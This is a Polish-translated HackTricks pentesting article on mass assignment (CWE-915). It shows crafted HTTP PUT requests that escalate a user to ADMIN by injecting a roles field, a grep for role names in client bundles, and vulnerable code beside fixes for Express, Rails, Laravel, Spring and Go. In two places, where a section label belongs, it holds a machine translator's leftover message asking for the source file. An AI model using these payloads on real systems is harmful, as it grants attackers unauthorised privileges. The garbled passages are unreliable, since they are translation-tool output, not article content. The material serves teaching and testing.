Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Mass assignment (a.k.a. insecure object binding) występuje, gdy API/controller przyjmuje JSON dostarczony przez użytkownika i bezpośrednio wiąże go z modelem/encją po stronie serwera bez jawnej allow-listy pól. Jeśli uprzywilejowane właściwości takie jak roles, isAdmin, status lub pola ownership są możliwe do przypisania, każdy uwierzytelniony użytkownik może eskalować uprawnienia lub manipulować chronionym stanem.

To jest problem Broken Access Control (OWASP A01:2021), który często umożliwia vertical privilege escalation przez ustawienie roles=ADMIN lub podobne. Zwykle dotyczy frameworków, które obsługują automatyczne wiązanie ciał żądań do modeli danych (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Wykrywanie Mass Assignment

Szukaj endpointów self-service, które aktualizują twój własny profil lub podobne zasoby:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heurystyki wskazujące na mass assignment:

  • Odpowiedź odsyła pola zarządzane przez serwer (np. roles, status, isAdmin, permissions) nawet jeśli ich nie wysłałeś.
  • W paczkach klienta (client bundles) znajdują się nazwy/ID ról lub inne nazwy uprzywilejowanych atrybutów używane w aplikacji (admin, staff, moderator, internal flags), sugerujące możliwy schemat bindowalny.
  • Backendowe serializery akceptują nieznane pola bez ich odrzucania.

Szybki przebieg testu:

  1. Wykonaj normalną aktualizację tylko z bezpiecznymi polami i obserwuj całą strukturę odpowiedzi JSON (this leaks the schema).
  2. Powtórz aktualizację, dołączając spreparowane pole uprzywilejowane w body. Jeśli odpowiedź utrzymuje zmianę, prawdopodobnie masz mass assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Odpowiedź sugeruje pola uprzywilejowane:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Eksploatacja – eskalacja uprawnień przez Mass Assignment

Gdy poznasz bindable shape, dołącz właściwość privileged w tym samym żądaniu.

Przykład: ustaw roles na ADMIN w swoim zasobie użytkownika:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Jeśli odpowiedź utrzymuje zmianę roli, re-authenticate lub refresh tokens/claims, tak aby aplikacja wydała admin-context session i pokazała privileged UI/endpoints.

Uwagi

  • Role identifiers and shapes są często enumerowane z client JS bundle lub API docs. Szukaj stringów jak “roles”, “ADMIN”, “STAFF”, albo numerycznych role IDs.
  • Jeśli tokens zawierają claims (np. JWT roles), zwykle wymagany jest logout/login lub token refresh, aby zrealizować nowe uprawnienia.

3) Client Bundle Recon for Schema and Role IDs

  • Inspect minified JS bundles pod kątem role strings i model names; source maps mogą ujawnić DTO shapes.
  • Szukaj arrays/maps ról, permissions, lub feature flags. Zbuduj payloads dopasowujące dokładne property names i nesting.
  • Typowe wskazówki: role name constants, dropdown option lists, validation schemas.

Przydatne greps przeciwko pobranemu bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Pułapki frameworków i bezpieczne wzorce

Luka powstaje, gdy frameworki wiążą req.body bezpośrednio z trwałymi encjami. Poniżej znajdują się typowe błędy i minimalne, bezpieczne wzorce.

Node.js (Express + Mongoose)

Wrażliwe:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Nie otrzymałem treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/mass-assignment-cwe-915.md (wraz z markdown), która mam przetłumaczyć na polski.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Niezabezpieczone (brak strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Poprawka (strong params + brak uprzywilejowanych pól):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Podatne:

protected $guarded = []; // Everything mass-assignable (bad)

Brakuje treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/mass-assignment-cwe-915.md lub fragment, który mam poprawić/przetłumaczyć.
Dla przypomnienia: zachowam dokładnie składnię Markdown/HTML i nie będę tłumaczyć kodu, nazw technik, platform, linków ani tagów.

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Wzorzec podatny:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Poprawka: Zmapuj do DTO zawierającego tylko dozwolone pola i wymuś autoryzację:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Następnie skopiuj dozwolone pola z DTO do encji po stronie serwera i obsługuj zmiany ról tylko w handlerach dostępnych wyłącznie dla administratorów po przeprowadzeniu kontroli RBAC. Użyj @JsonIgnore dla uprzywilejowanych pól, jeśli to konieczne, i odrzucaj nieznane właściwości.

Go (encoding/json)

  • Upewnij się, że uprzywilejowane pola używają json:“-” i waliduj za pomocą DTO struct, który zawiera tylko dozwolone pola.
  • Rozważ użycie decoder.DisallowUnknownFields() oraz walidację invariantów po związaniu danych (role nie mogą się zmieniać w trasach samoobsługowych).

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks